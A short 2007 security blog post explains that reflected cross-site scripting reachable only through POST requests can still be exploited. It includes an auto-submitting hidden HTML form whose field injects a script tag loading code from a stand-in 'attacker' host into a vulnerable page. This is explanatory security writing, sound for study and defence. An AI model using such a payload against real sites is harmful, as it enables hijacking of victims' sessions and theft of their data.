One good question I was asked in Amsterdam was whether it is possible to exploit a reflected cross-site scripting bug that can only be triggered via a POST request. The answer, of course, is "yes".
There are plenty of delivery mechanisms for reflected XSS attacks, only some of which involve inducing a victim to click on a crafted URL. For example, an attacker can create an innocuous looking web page containing an HTML form with the required fields, and a script which auto-submits the form:
<form name=TheForm action=http://vuln-app/page.jsp method=post>
<input type=hidden name=foo value="><script src=http://attacker/ bad.js></script>>
</form>
<script>
document.TheForm.submit();
</script>
Rather than creating his own web site, the attacker could of course inject the above attack into a third-party application via a stored XSS bug. The form is submitted cross-domain (as in a cross-site request forgery attack), but the resulting payload executes within the security context of the vulnerable application, enabling the full range of standard XSS attack actions to be performed.
Thursday, 29 March 2007
Exploiting XSS in POST requests
Subscribe to:
Post Comments (Atom)




0 comments:
Post a Comment